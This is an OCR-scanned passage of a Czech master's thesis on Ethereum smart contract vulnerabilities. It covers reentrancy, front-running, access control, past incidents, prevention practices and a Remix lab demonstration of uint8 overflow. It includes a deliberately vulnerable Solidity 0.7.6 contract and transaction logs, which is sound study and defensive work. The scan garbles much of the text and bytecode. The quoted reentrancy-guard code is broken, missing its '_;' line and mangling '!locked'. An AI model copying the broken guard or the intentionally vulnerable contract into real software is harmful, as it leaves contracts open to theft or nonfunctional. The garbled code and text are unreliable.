Tato zranitelnost byla kli¢ova pifi nechvalné zndmém utoku na DAO. Prevence
reentrancy zahrnuje pouziti vzoru "check-effects-interactions" (nejprve zkontrolujte
podminky, poté aktualizujte stavové proménné a teprve poté provadéjte externi volani),
pouziti modifikatoru nonReentrant z knihovny OpenZeppelin nebo zasilani etheru pomoci
metod transfer() nebo send(), které omezuji mnozstvi gasu dostupné pro externi volani a tim
omezuji reentrancy utoky. [14] Tato zranitelnost je jednim z nejlépe zdokumentovanych a

bude podrobné¢;ji testovana v praktické ¢asti.

Contract B calls back into Contract A
before it is done updating balances

Contract A f\ Contract B

checkbalance()
sensfunds() fallback function()
updatebalance()

A

Sending funds

Obrazek 9: Schéma reentrancy ttoku

(zdroj: [14] )
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4.1.3 Front-running

Front-running (pfedbihani) je typ utoku, ktery vyuzivd vefejnou a transparentni povahu
blockchainovych siti, kde transakce pred zatazenim do bloku ¢ekaji ve vefejném mempoolu.
Utoénik monitoruje mempool a identifikuje dekajici transakce, které by mohly byt vynosné,
pokud by byly provedeny dfive (napi. velky obchod na decentralizované burze, ktery by
mohl pohnout cenou aktiva). Utoénik poté odesle vlastni transakci se stejnou nebo podobnou
operaci, ale s vyrazn¢ vyssim poplatkem za gas, aby zajistil, Ze jeho transakce bude t€zebnim

uzlem (validadtorem) vybrana a zahrnuta do bloku dfive nez ptivodni transakce. [7]

Tento typ utoku je bézny na decentralizovanych burzach (DEX), kde uto¢nik muze
vidét velkou nakupni nebo prodejni objednavku a umistit svou vlastni transakci pied ni, aby
profitoval z cenového pohybu, ktery velka objedndvka zpusobi. Front-running je obtizné
zcela eliminovatelny kvili inherentni transparentnosti blockchainu, ackoli nékteré protokoly
zkoumaji mechanismy, jako jsou privatni transakce nebo aukce transakci, aby zmirnily jeho

dopady. [15]

4.1.4 Access control

Zranitelnosti v fizeni pfistupu (access control) nastavaji, kdyz kontrakt nedostate¢né nebo
chybné ovétuje, zda volajici adresa ma opravnéni k provedeni konkrétni akce. To miZe vést
k tomu, Ze nepovolani uzivatelé (bé€zni uZivatelé, uto¢nici) mohou volat privilegované
funkce, které by méli mit k dispozici pouze administratofi nebo vlastnici kontraktu. Ptiklady
zahrnuji chybé&jici nebo nespravné implementované modifikatory jako onlyOwner,

onlyManager nebo komplexnéjsi schémata roli a opravnéni. [16]

Chyba v tizeni ptistupu mize ito¢nikovi umoznit provadéet akce, jako je pozastaveni
kontraktu, zména dulezitych parametrt (napt. poplatkt, adres piijemcit), mintovani novych
tokent, nebo dokonce vyvolani funkce selfdestruct, ktera kontrakt zrusi a odesle zbyvajici
ether na urCenou adresu. [16] Spravné fizeni pfistupu vyzZaduje peclivé planovani a
implementaci, €asto s vyuzitim testovanych vzort a knihoven jako je OpenZeppelin's

Ownable nebo AccessControl. [17]

Kromé téchto piikladii existuji i dal$i hrozby, jako jsou chyby v nahodnosti
(nespolehliva generace nahodnych c¢isel on-chain), manipulace s casovymi razitky
(timestamp dependence), short address attack (jiz méné relevantni u moderni EVM), nebo

komplexni chyby v obchodni logice kontraktu. [16]
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4.1.5 Historie utoki a priklady incidentu

Analyza historickych a aktualnich utoki na smart kontrakty je klicova pro pochopeni
evoluce zranitelnosti a obrannych mechanismt. Tyto incidenty slouzi nejen jako varovné
vzoru, standardizovanych knihoven a pokrocilych bezpe¢nostnich néstrojl, které jsou dnes
nedilnou soucasti ekosystému. Pochopeni téchto udélosti je proto nezbytné pro navrh

odolnych kontrakt 1 v soucasnosti.

DAO qtok (2016)

Utok na decentralizovanou autonomni organizaci (DAO) z &ervna 2016 je pravdépodobné
nejslavnéj§im a nejvyznamngj$im bezpeénostnim incidentem v historii Etherea. Utognik
vyuZil reentrancy zranitelnost v kddu DAO k opakovanému volani funkce pro vybér etheru
diive, nez byl v kontraktu aktualizovan zlstatek uzivatele. Timto zpiisobem se uto¢nikovi
podafilo postupné odcizit ptiblizn¢ 3,6 milionu ETH, coz v té dob¢ ptfedstavovalo hodnotu
asi 50 milionit USD. Tento masivni Utok vedl k tvrdému forku Etherea (vznik Ethereum
Classic a Ethereum), jehoz cilem bylo vratit odcizené prostiedky. Incident DAO silné
rezonoval komunitou, urychlil vyvoj obrannych mechanismi proti reentrancy (napf.
modifikator nonReentrant) a zdlraznil kritickou nutnost diikkladného testovani a auditovani

smart kontraktl. [18]

Parity Wallet (2017)

Multisig penézenka Parity, jeden z prvnich Siroce pouzivanych multisig kontrakti na
Ethereu, se stala obéti dvou vyznamnych incidentd v roce 2017. Prvni, v ¢ervenci 2017, vedl
k odcizeni ptiblizné 150 000 ETH (tehdy v hodnoté 30 milionti USD) kviili zranitelnosti v
knihovné kontraktu, kterd umoznovala neopravnénému uzivateli stat se jejim vlastnikem a
zablokovanych prostfedkt. UZivatel neiimyslné vyvolal funkci selfdestruct v knihovné
multisig kontraktu, na kterou zaviselo mnoho dalSich penéZenek. Timto aktem doslo k
nevratnému zablokovani pfiblizné¢ 500 000 ETH (v té dobé v hodnoté 150-300 miliont
USD), kter¢ ziistaly nedosazitelné. Tyto udalosti poukazaly na rizika sdilenych knihoven a

nezbytnost robustnich mechanismil fizeni pfistupu a spravy klich u multisig feSeni. [19]

BatchOverflow (2018)
V dubnu 2018 byla objevena zranitelnost nazvana BatchOverflow, ktera se tykala nékterych

implementaci standardu ERC-20 tokenti, konkrétn¢ ve funkci pro hromadny pievod



UTB ve Zliné, Fakulta aplikované informatiky 33

(batchTransfer). Zranitelnost spocivala v aritmetickém pfeteceni pii vypoctu celkového
poétu tokend k prevodu (mnozstvi tokenti * poéet pifjemcit). Utoénik mohl specifikovat tak
velké mnozZstvi a pocet ptijemct, ze vypocet celkového souctu pietekl, coz vedlo k piipsani
obrovského, neomezeného mnozstvi tokenii na ucet utoc¢nika. Tato zranitelnost byla zneuzita
u tokenu PoWH Coin, kde uto¢nik mintoval biliony tokenti. Incident BatchOverflow jasné
demonstroval potifebu bezpecné aritmetiky v Solidity a urychlil pfijeti knihoven jako
SafeMath a integraci nativnich kontrol pfeteCeni/podteceni do kompilatoru Solidity (od

verze 0.8.0). [20]

Bybit ttok (2025)

Dne 21. tinora 2025 doslo k vyznamnému bezpecnostnimu incidentu, kdy byla z burzy Bybit
odcizena zna¢na Castka kryptomén. Konkrétné bylo odcizeno 401 347 ETH, cozZ v té¢ dobé
odpovidalo hodnot¢ pfiblizn€ 1,46 miliardy USD. Analyzy provedené spolecnosti Arkham
Intelligence a dal§imi subjekty brzy pfisoudily utok znamé severokorejské hackerské
skuping Lazarus Group. Utok tidajné kombinoval prvky socialniho inZenyrstvi (phishing) a
sofistikované techniky, véetné pouziti "masked transaction", kdy transakce na uzivatelském
rozhrani vypadala legitimné, ale ve skutecnosti obsahovala Skodlivy kéd ménici logiku
provadéni smart kontraktu, coZz umoznilo neopravnény pievod prostiedkli z cold wallet
burzy. Lazarus Group nasledné pouZila decentralizované burzy, zejména Uniswap, k
rychlému ptfevedeni odcizenych stETH a mETH (Lido Staked ETH a Mantle Staked ETH)
na standardni ETH, aby ztiZila sledovani a pfipadné zmrazeni prostfedkl. Tento incident
ukazuje, Ze 1 velké a zavedené subjekty zlstavaji cilem sofistikovanych utokt, které se
neomezuji pouze na chyby v kodu kontraktd, ale kombinuji technické zneuziti s prvky

cilen¢ho socidlniho inzenyrstvi. [21]

Tyto incidenty od DAO utoku ptes problémy s knihovnou Parity a zranitelnost
BatchOverflow aZ po moderni kombinované utoky jako ten na Bybit ilustruji dynamiku
bezpecnostnich hrozeb v oblasti smart kontraktl. Ukazuji, jak historické lekce formuji
moderni bezpec¢nostni nastroje a postupy a proc je pochopenti starsich titokt stale relevantni.
Knihovny jako OpenZeppelin, které poskytuji testované a auditované implementace
beéznych funkénosti kontraktii, nebo nastroje pro statickou a dynamickou analyzu kédu, jako
je Mythril nebo Slither, vychazeji z téchto zkuSenosti a neustale se pfizplsobuji novym
hrozbam. Zatimco ptesné statistiky o celkovém poctu zranitelnych kontraktd nebo
finan¢nich ztratach se obtizné agreguji kvuli decentralizované povaze sit¢ a neohlaSenym

incidentiim, dostupné zpravy a analyzy naznacuji, ze bezpe€nostni incidenty spojené se
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smart kontrakty stdle pfedstavuji vyznamné riziko s miliardovymi $kodami ro¢né. To
podtrhuje nezbytnost kontinudlniho vzdélavani, dikladného testovani a pfijeti osvédcenych

bezpecnostnich postupti pii vyvoji smart kontrakta. [22]

4.2 Prevence a best practices

Zajisténi bezpe€nosti smart kontraktd je zdkladni podminkou pro diveéryhodnost
decentralizovanych aplikaci. Vzhledem k jejich neménnosti po nasazeni a spravé casto
vyznamnych aktiv je prevence chyb a zranitelnosti klicova. Oficidlni dokumentace jazyka
Solidity zdaraziuje fadu osvédcenych postupt, které by méli vyvojari disledné dodrzovat.
Tyto postupy vychdzeji z analyzy historickych utokli a reflektuji potiebu robustniho a
predvidatelného chovani kontrakta. [24]

Kli¢ové principy bezpecného vyvoje na urovni kddu:

e Vzor Checks-Effects-Interactions: Tento zékladni vzor doporucuje provadét
operace v piesném pofadi: nejprve zkontrolovat veSkeré podminky a vstupy
(checks), poté provést zmeény stavu kontraktu (effects) a teprve na zavér provadet

externi volani (interactions) na jiné kontrakty nebo adresy. [24]

e Opatrnost s externimi volanimi: Volani funkci na jinych kontraktech nebo posilani
Etheru pfedstavuje bezpecnostni riziko. Je nezbytné minimalizovat externi volani a
vzdy piedpokladat, Ze externi volani miiZze selhat nebo se pokusit o Skodlivou
interakci (napf. reentrancy). Solidity nabizi rizné ochranné vzory proti t€émto typtim
utoki. Jednim z nich je tzv. mutex pomoci stavoveé proménné locked, kterd zabrani
opakovanému vstupu do funkce. [24] Tento pfistup je znadzornén na nasledujicim

ptikladu z oficidlni dokumentace Solidity (Ukazka koédu 3). [25]

e Validace vstupii a oSeti‘eni chyb: Vzdy ovéiujte vstupy do funkei pomoci require a
pouzivejte revert nebo assert pro spravné oSetfeni neocekavanych stavli nebo chyb

béhem provadeéni. [24]

e Bezpecna aritmetika: Vzdy zajist'ujte, aby aritmetické operace nevedly k preteeni
nebo podteceni celych cisel. Solidity verze 0.8.0 a vyssi tuto kontrolu provadi

automaticky, u starSich verzi je nutné pouzit knihovny jako SafeMath. [24]

e Sprava pristupu: Citlivé funkce, které méni kriticky stav kontraktu, spravuji aktiva

nebo konfiguruji kontrakt, by mély byt dostupné pouze autorizovanym entitam.
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// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.1 <0.9.0;

contract Mutex {
bool locked;
modifier noReentrancy() {
require(
Ilocked,

"Reentrant call."

)5
locked = true;
locked = false;

function f() public noReentrancy returns (uint) {
(bool success,) = msg.sender.call("");
require(success);

return 7;

Ukazka kodu 3: Ochrana proti reentrancy pomoci modifikatoru (Mutex pattern)

(zdroj: oficialni dokumentace Solidity [25] )
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5 TESTOVACI PROSTREDI

Tato kapitola popisuje metodologicky postup pro analyzu bezpecnostnich rizik smart
kontrakti na blockchainové platform¢ Ethereum, ktery bude aplikovan v praktické casti
prace. Cilem je definovat nastroje, testovaci prostiedi a scénafe simulaci utokl tak, aby
vysledky byly relevantni a ptispély k pochopeni aktudlnich bezpecnostnich hrozeb i navrhu
jejich mitigace. Metodologie vychdzi z teoretickych poznatkii o zranitelnostech a
historickych incidentech (kapitola 4) a kombinuje klasické 1 moderni pfistupy k testovani

smart kontraktu.

5.1 Vybér a popis nastroju a prostredi

Pro zajisténi efektivni implementace, simulaci a analyzy byly vybrany nasledujici nastroje a
prostredi, které odpovidaji standardim vyvoje na Ethereu a umoznuji realistické testovani

bezpecnostnich scénait.

5.1.1 Testovaci blockchain a vyvojové prostiedi

Remix IDE: Jedné se o open source vyvojové prostfedi uréené pro tvorbu, kompilaci a
ladéni smart kontrakti napsanych v jazyce Solidity na platformé Ethereum. IDE je dostupné
ve dvou verzich. Webova aplikace bézici v prohlizeci a desktopova aplikace. Umoziiuje to
rychly vyvojni cyklus bez nutnosti lokalni instalace dalSich nastrojii. Remix IDE podporuje
fadu integrovanych modulii (plugini) pro psani, kompilaci, nasazeni i statickou analyzu
kontraktti, ¢imz usnadiuje jak zacateCniktim, tak pokroc¢ilym vyvojarim bezproblémovou
praci s ekosystémem Ethereum. [26] Veskery vyvoj a udrzba Remix Project je financovana
nadaci Ethereum Foundation, neziskovou organizaci podporujici rozvoj platformy Ethereum

a pfidruzenych nastrojt. [27]

Pfi navrhu testovaciho prostfedi byly zohlednény zmény a vylepSeni v siti Ethereum,
zejména ty zavedené hardforkem Dencun (diive zndmym jako Cancun). Tento upgrade
pfinesl vyznamné zmény, zejména v oblasti Skalovatelnosti a datové dostupnosti
prostiednictvim implementace EIP-4844 (proto-danksharding). [28] Ac¢koliv primarni dopad
je na L2 teSeni, pochopeni téchto zmén a zajisténi kompatibility testovaciho prostiedi s
nejnovéjSimi verzemi Ethereum Virtual Machine (EVM) bylo kli¢ové pro relevanci analyzy
v kontextu soucasné¢ho stavu sité. Testovaci prostiedi bylo konfigurovano tak, aby
simulovalo chovani sit¢ po tomto hardforku, pokud to bylo relevantni pro testované

zranitelnosti.
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5.1.2 Nastroje pro analyzu smart Kontrakti

Mythril: Mythril je pfedni bezpecnostni analyticky nastroj pro smart kontrakty. Vyuziva
techniky symbolické analyzy a provadéni s cilem detekovat Siroké spektrum zranitelnosti v
bytecodu EVM. Dokaze identifikovat kritické bezpecnostni problémy, jako jsou reentrancy
utoky, celoc¢iselné preteCeni/podteceni (integer overflow/underflow), neautorizovany
pfistup, zneuziti Casovych znacek (timestamp dependency) a dalsi logické chyby. Mythril

poskytuje zpravy o nalezenych slabinach a cestach provadéni, které k nim vedou. [29]

Slither: Slither je rychly a efektivni staticky analyticky nastroj urceny pro smart kontrakty
psané v jazyce Solidity. Analyzuje kod na syntaktické a sémantické urovni a generuje
prehled o struktufe kontraktu, dédi¢nosti, zavislostech funkci a identifikuje potencidlni
bezpecnostni hrozby a kodové pachy (code smells). Diky své rychlosti a snadné integraci do
CI/CD pipeline je Slither casto vyuZivan jako soucast automatizovanych bezpecnostnich
kontrol béhem vyvojového procesu. Poskytuje uzite¢né vizualizace toku programu a

stavovych zavislosti. [30]

5.2 Navrh simulaci utoka

Simulace utokli budou navrzeny tak, aby zahrnovaly jak historicky zndmé zranitelnosti,
slouzZici jako zéklad pro pochopeni problematiky, tak 1 soucasné hrozby vychézejici z
nedavnych incidentl. Tento pfistup umozZni, aby praktické ¢ast odpovidala aktualnimu stavu

zabezpeceni smart kontraktti a podpofila jeho dalsi rozvoj.

5.2.1 Vybér reprezentativnich smart kontrakti

Pro tucely testovani a validace metodologie byly pfipraveny dva zékladni typy smart

kontraktli napsanych v jazyce Solidity:

1. Zranitelny kontrakt: Tento typ kontraktu byl zamérné& vytvoten tak, aby obsahoval
specifické, znamé bezpecnostni chyby a anti-patterny. Piikladem jsou chyby v
implementaci kontrol pfistupu, nespravné nakladdni s finan¢nimi prostfedky,
nachylnost k reentrancy utokim, nebo chyby spojené s aritmetikou (integer
overflow/underflow). Tyto kontrakty slouZzily jako cile pro simulované utoky a pro

pocatecni analyzu bezpecnostnimi néstroji.

2. Bezpecnostné oSetieny kontrakt: Jednd se o opravenou verzi zranitelného
kontraktu, do které byla na zaklad¢ vysledkil bezpecnostni analyzy a v souladu s

osvédCenymi bezpecnostnimi praktikami implementovana népravna opatifeni
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(mitigace). Tento kontrakt slouzil k validaci ucinnosti navrzenych mitigaci a k

demonstraci rozdilu v bezpecnosti oproti zranitelné verzi.

5.2.2 Scénare utoku

Na zaklad¢ teoretického rozboru v kapitole 4 a analyzy nejCastéjSich zranitelnosti smart

kontraktii byly vybrany nasledujici typy utokt pro simulaci v testovacim prostiedi:

1. Overflow/Underflow: Simulace utokli, které zneuzivaji chovani celociselné
aritmetiky v jazyce Solidity, kdy pfekroCeni maximalni hodnoty (overflow) nebo
pokles pod minimélni hodnotu (underflow) zpisobi neocekavané pieteceni nebo
podteceni proménné. To muize utocnikovi umoznit manipulaci s dulezitymi

hodnotami (napf. ztistatky, poCty iteraci) a vést k neopravnénym operacim.

2. Reentrancy utok: Simulace klasického reentrancy Utoku, proslaveného naptiklad
pfi hacku DAO. Utok spoéivéa ve zneuziti externiho volani zranitelné funkce, které
uto¢nikovi umozni znovu vstoupit do stejné funkce (nebo jiné zavislé funkce) drive,
nez je dokonceno prvni provedeni a aktualizovan stav kontraktu (napf. odecten

zlstatek). To miize vést k opakovanému vybéru prostredki.

3. Front-running utok: Simulace utoku, ktery vyuziva transparentnost transakci v
mempoolu sité Ethereum. Utoénik sleduje Gekajici transakce (napf. velké obchodni
piikazy na decentralizované burze) a s vyuzitim vysSiho poplatku za gas price zajisti,
ze jeho vlastni transakce (napf. maly obchodni ptikaz ve stejném sméru) bude
zpracovana téZafi diive neZ transakce obéti, ¢imz ovlivni trzni cenu nebo stav

kontraktu ve sviij prospéch.

4. Access control: Simulace utokt, které zneuzivaji chybnou nebo nedostate¢nou
implementaci mechanismi kontroly pfistupu v kontraktu. Chyby v modifikatorech
(napt. onlyOwner, require) nebo logice autorizace mohou neautorizovanym
uzivatelim umoznit pfistup k citlivym funkcim, které by méli volat pouze opravnéné

entity (napf. majitel kontraktu, administratofi).
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5.3 Validace a ovéreni navrZenych opatieni

Pro kazdou simulaci Gtoku a pro ovéteni ucinnosti navrzenych bezpecnostnich opatieni byl

dodrZen nasledujici iterativni postup:

1.

Simulace titoku na zranitelny kontrakt: V prvnim kroku byl pfislusny ttok
proveden na zdmérné€ zranitelnou verzi smart kontraktu v lokalni testovaci siti.
Cilem bylo prakticky demonstrovat pfitomnost a zneuZzitelnost dané

zranitelnosti a pochopit jeji dopad na chovani a stav kontraktu.

Staticka analyza pied mitigaci: Pied implementaci jakychkoli oprav byly na
zranitelny kontrakt aplikovany analytické ndstroje Mythril a Slither. Vysledky
téchto analyz slouzily jako vychozi bezpecnostni zprava, dokumentujici
nalezené zranitelnosti a jejich charakteristiky. To umoznilo srovnani s vysledky

po implementaci oprav.

Implementace mitigaci: Na zaklad¢ zjisténi z kroku 1 a 2 a s vyuzitim
osvédcenych bezpecnostnich praktik pro vyvoj smart kontraktii byla zranitelna
verze kontraktu upravena. Byly implementovany adekvétni bezpecnostni

mechanismy a dal$i doporucené postupy.

Validace po mitigaci: Po implementaci oprav byl upraveny (bezpecnostné
oSetfeny) kontrakt znovu nasazen do testovaci sité. Byly provedeny opakované
simulace ptivodniho utoku s cilem potvrdit, Ze dana zranitelnost byla uspéSné
odstranéna a Utok jiZ neni moZny. Nasledné byla na opraveny kontrakt
provedena opétovna staticka a symbolicka analyza, aby se ovéfilo, Ze ptivodni
problémy byly vyfeSeny a zaroven nebyly zavedeny nové zranitelnosti v

diisledku provedenych zmén.
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II

PRAKTICKA CAST
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6 SIMULACE ZRANITELNOSTI

V praktické ¢asti diplomové prace se zamétuji na experimentalni ovefeni zranitelnosti smart
kontraktli bézicich na blockchainové platformé Ethereum. Cilem je simulovat vybrané
utoky, které byly identifikovany v teoretické ¢asti, analyzovat jejich chovani a dopad v praxi
a nasledné¢ navrhnout, implementovat a otestovat konkrétni bezpecnostni opatieni, kterd

povedou ke zvySeni odolnosti smart kontrakta viici t¢émto hrozbam.

Vybér utoklt vychazi z jejich relevance pro realné blockchainové aplikace a zahrnuje

zranitelnosti typu:
e Overflow/Underflow (pieteceni a podteceni proménnych),
e Reentrancy (opakované vstupovani do kontraktu),
¢ Front-running (manipulace pofadim transakci v mempoolu),

e Access control (obejiti kontroly pfistupu, kdy neautorizovany uzivatel ziska ptistup

k funkcim vyzadujicim opravnéni).

Kazdy z téchto Utokl je nejprve piedstaven teoreticky, poté je popsana implementace
zranitelného smart kontraktu v jazyce Solidity, simulace utoku a zdznam jeho dopadi. K
vyhodnoceni rizik jsou vyuZity néstroje pro statickou analyzu, zejména Mythril a Slither,

které umoznuji automatickou detekci zndmych zranitelnosti a slabin ve zdrojovém kodu.

6.1 Overflow/Underflow

Zranitelnost typu overflow (pfeteceni) nebo underflow (podteceni) se tyka aritmetickych
operaci provadénych s celo¢iselnymi datovymi typy s omezenym rozsahem. K této chybé
dojde, kdyz vysledek aritmetické operace prekro¢i maximalni (v ptipadé preteceni) nebo
klesne pod minimalni (v pfipadé podteceni) hodnotu, kterou je schopen dany datovy typ
uchovat. V kontextu smart kontraktlh v produkénim prostiedi se nejcastéji setkdvame s
datovym typem uint256, ktery ma velmi Siroky rozsah od 0 do 27256—1. Nicmén¢ i s timto
rozsahem mitize dojit k pfeteceni (napt. pfi¢tenim 1k hodnoté 2256 - 1 ) nebo podteceni
(napt. odeCtenim 1 od 0 u uint256), kdy se vysledek misto vyvolani chyby "zalomi" na
opacny konec rozsahu (z 27256 — 1 na 0 pfi pfi preteceni, z 0 na 2256 — 1 pfi podteceni).

Tento princip, znamy jako modularni aritmetika, byl detailn€ popsan v teoretické ¢asti.

Ve verzich kompilatoru Solidity nizSich nez 0.8.0 (napt. verze 0.7.x) nebyly

standardni aritmetické operace automaticky kontrolovany na pieteCeni ¢i podteceni. Toto
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chovani oteviralo dvefe pro potencialni zneuziti ze strany Gto¢nikd, kteti mohli manipulovat

se stavem kontraktu dosaZzenim neocekavanych hodnot proménnych.

Jako reakce na toto zavazné bezpecnostni riziko byla pted piichodem automatickych
kontrol v kompilatoru standardni praxi u vyvojart explicitni implementace bezpecnostnich
kontrol. To se nej¢astéji provadélo pouzitim externich knihoven, jako je Siroce pfijimana
knihovna SafeMath od OpenZeppelin. Tyto knihovny poskytovaly bezpecné alternativni
funkce pro aritmetické operace (napt. add, sub, mul, div), které pied provedenim samotné
operace zkontrolovaly, zda vysledek neptekro¢i meze datového typu, a v ptipade rizika

preteeni nebo podteceni transakci revertovaly (pferusily s chybou).

Od verze kompilatoru Solidity 0.8.0, jsou aritmetické operace pro celé Ciselné typy
automaticky kontrolovany na pfeteCeni a podteCeni ve vychozim nastaveni. Pfi detekci
takového stavu kompildtor generuje kod, ktery zplisobi preruseni provadeni transakce s
chybou Panic(0x11) pro pieteCeni/podteceni pii s¢itani nebo od¢itani. Tato implicitni
ochrana vyrazné zvysuje bezpecnost kontraktli psanych v nové¢jSich verzich a eliminuje
potfebu pouzivat externi knihovny jako SafeMath pro zékladni aritmetiku, pokud neni

potieba specifické chovani (napft. "zabaleni" hodnoty).

v

Pro demonstrac¢ni Gcely a snadné&j$i ilustraci principu aritmetického pieteceni a
podteceni jsem v této Casti diplomové prace pouzil zjednoduSenou ukézku kontraktu s
mensim datovym typem, uint8, ktery ma omezeny rozsah 0 az 255. Tento pfistup umoziuje
velmi ndzorn€ ukéazat princip moduldrni aritmetiky, kdy naptiklad scitani 250+10
(ocekavany vysledek 260) vede k pieteceni, protoZze 260 modulo 256 je 4. Hodnota se tedy
"zalomi" na 4. Podobné¢ od¢itani 1 od 0 (0 - 1) vede k podteCeni a "zalomeni" na 255. Takova
ukéazka zranitelného chovani byla provedena na verzi kontraktu OverflowUnderflowDemo
zkompilované se starsi verzi Solidity (napt. 0.7.6), aby se demonstrovalo, jak k problému

dochazi.

6.1.1 Simulace a demonstrace zranitelnosti

Pro nazornou demonstraci a praktické ovétfeni existence zranitelnosti typu aritmetického
ptreteceni (overflow) a podteceni (underflow) byla provedena simulace v prostfedi Remix
IDE. Tato simulace se zaméfila na chovani nezabezpecené verze smart kontraktu, ktera
pouziva celociselné datové typy s omezenym rozsahem (uint8) bez automatickych kontrol
aritmetickych operaci, coz je typické pro kontrakty kompilované ve verzich Solidity nizsich

nez 0.8.0.
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Pouzity kéd pro simulaci zranitelnosti Overflow/Underflow

// SPDX-License-Identifier: MIT
pragma solidity 70.7.6;
/**
* @title OverflowUnderflowDemo (Nezabezpecend verze)
* @dev Demonstracni kontrakt ukazujici aritmetické operace v Solidity < 0.8.0.
* TENTO KONTRAKT JE ZRANITELNY viéi aritmetickému overflow a underflow.
*/
contract OverflowUnderflowDemo {
mapping(address => uint8) public balances;
/**
* @dev Vlozi specifikované mnozstvi na ucet odesilatele msg.sender.
* @param _amount Mnozstvi k vlozeni (typ uint8).
*/
function deposit(uint8 _amount) external {
balances[msg.sender] += _amount;
}
J**
* @dev Vybere specifikované mnozstvi z uctu odesilatele msg.sender.
* @param _amount Mnozstvi k vybéru (typ uint8).
*/
function withdraw(uint8 _amount) external {

balances[msg.sender] -= _amount;

Ukazka kodii 4: Zranitelny kontrakt demonstrujici Overflow/Underflow

( zdroj: viastni )

Pouzité prostiedky pro simulaci zranitelnosti Overflow a Undeflow
e Simulace provedena v Remix IDE

e Pouzita verze jazyka Solidity: 0.7.6
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e Virtudlni blockchain prostfedi: konfigurace Cancun

e Adresa nasazen¢ho kontraktu:
0xd9145CCES52D3861254917¢481eB44¢9943F39138

e Adresa testovaciho uctu:

0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4

Simulace Overflow zranitelnosti

Prvnim krokem bylo nasazeni nezabezpeceného smart kontraktu do prostiedi Remix IDE.
Na obrazku (Obrazek 10) je zobrazen nasazeny smart kontrakt ve vyvojovém prostiedi
Remix IDE. Kontrakt byl nasazen na testovaci siti (konfigurace Cancun). Nasazeny
kontrakt obsahuje implementované funkce pro vklad (deposit), vybér (withdraw) a
dotazovani zlistatku (balances). Veskeré operace jsou provadény nad proménnymi typu
uint8, coz demonstruje omezeny rozsah ¢iselné reprezentace a umoznuje naslednou ukazku

efektu overflow a underflow.

Low level interactions

Obrazek 10: Nasazeny smart kontrakt v Remix IDE

( zdroj: viastni )

Adresa kontraktu slouzi jako unikatni identifikator instance kontraktu na blockchainu.

Pribéh nasazeni kontraktu zachycuje detailné nasledujici tabulka (Tabulka 1).



UTB ve Zliné, Fakulta aplikované informatiky

45

from: 0Ox5B3..eddC4
to: OverflowUnderflowDemo. (constructor)

[vim] value: 0 wei
data: 0x608..60033
logs: ©
hash: 0x55c..6cbfa

status

Ox1 Transaction mined and execution succeed

transaction hash

0x55c0f421b59a960f641de23d20efc8a555990307e6cbfa

block hash

0xf146472912211199442051820cb25970d2f36f7c19f6bceld2677fb

block number

contract address

0xd9145CCE52D3861254917e481eB44e9943F39138

from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
to OverflowUnderflowDemo. (constructor)

gas 200566 gas

transaction cost 174405 gas

execution cost 112359 gas

input

0x608..60022

output

0x6080604052348015610010576000801d5b50600436106100415760003560€01c
806327e235e314610046578063c6ab5d90146100a1578063ebe41b73146100d257
5b600080fd5b6100886004803603602081101561005c576000801d5b8101908080
3573 FFFfFfffrffffrfffrffffrffrfffrfffrfffffff1690602001909291905050
50610103565b6040518082601116815260200191505060405180910390135b6100
d0600480360360208110156100b7576000801d5b81019080803560F 116906026001
90929190505050610123565b005b610101600480360360208110156100e8576000
801d5b8101908080356011169060200190929190505050610181565b005b600060
20528060005260406000206000915054906101000a900460111681565b80600080
3373 FF A rfffrfffrrffrrffrfffrrffrrffie73 et
o frfffffffffff16815260200190815260200160002060008282829054
906101000a90046011160392506101000a815481601 1021916908360 116021790
555050565b806000803373f ffff{fffffffffffffffffffffrffffffffffffi673
ot rfrfffrrfffrfffrffffffff16815260200190815260200160
002060008282829054906101000a90046011160192506101000a81548160f 10219
16908360111602179055505056Te€a2646970667358221220fefdabac2672619798
€095e10b58a6d1747daleb77e6d647716c6430010760022

decoded input

{}

decoded output

logs

[1

raw logs

[

Tabulka 1: Transakce — nasazeni kontraktu

( zdroj: viastni )
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Pro simulaci pfeteceni byl nejprve nastaven pocatecni stav blizko maximalni hodnoty
uint8. Na obrazku (Obrazek 11) zachycuje provedeni prvni transakce, pfi které je volana
funkce deposit(250). Do pole pro argument je zadana hodnota 250. Tabulka (Tabulka 2)

ukazuje detail transakce, jejiz vystup potvrzuje uspésné provedeni depositu.

Low level interactions

Obrazek 11: Volani funkce deposit(250) v Remix IDE

(zdroj: vlastni )

Zadanim hodnoty 250 se tyto jednotky ptictou do mappingu balances pro testovaci ucet.
Na obrazku (Obrazek 12) je nasledné zobrazeno ovéteni zlistatku volanim funkce
balances(address). Po provedené transakci deposit(250) je v zobrazeném stavu uvedena
hodnota 250 pro danou adresu. Tato hodnota pfedstavuje pocatecni stav pred simulaci

overflow.
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from: Ox5B3...eddC4
to: OverflowUnderflowDemo.deposit(uint8)
0xd9145CCE52D3861254917e481eB44e9943F39138

[vm] value: 0 wei
data: ©xbe...000fa
logs: ©
hash: 0x9ac...dee60
status

Ox1 Transaction mined and execution succeed

transaction hash

0x9ac9e3b791d42958818c1039923dal589432975e7a29b69ba3fc8efeb825dee6
0

block hash

0x0be2c48e2dd98dd7487e1906€0d392090582e067e6edea3012bd7605895beecd

block number

contract address

0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4

from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4

to OverflowUnderflowDemo.deposit(uint8)
0xd9145CCE52D3861254917e481eB44e9943F39138

gas 50446 gas

transaction cost 43866 gas

execution cost 22662 gas

input oxbe. . .000fa

output ox

decoded input

{ "uint8 _amount": 250 }

decoded output

1}

logs

(1

raw logs

[l

Tabulka 2: Transakce — volani funkce deposit(250)

( zdroj: viastni )

Tabulka (Tabulka 3) ukazuje, jak je ovéfen stav zlstatku volanim funkce balances(adresa

testovaciho uctu). Po provedené transakci deposit(250) je v zobrazeném stavu uvedena

hodnota 250 pro danou adresu testovaciho U¢tu, miiZete vidét na obrazku (Obrazek 12).
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from: ©x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
[call] to: OverflowUnderflowDemo.balances(address)
data: ©x27e...eddC4
from 0x5B38Da6a701c568545dCFCcBO3FCB875F56beddC4
to OverflowUnderflowDemo.balances(address)
0xd9145CCE52D3861254917e481eB44e9943F39138
execution cost 2478 gas (Cost only applies when called by a contract)
input ox27e. ..eddC4
output 0x0000000000000000000000000E0000000000000EAPB0EP0PRRREABRB8 A
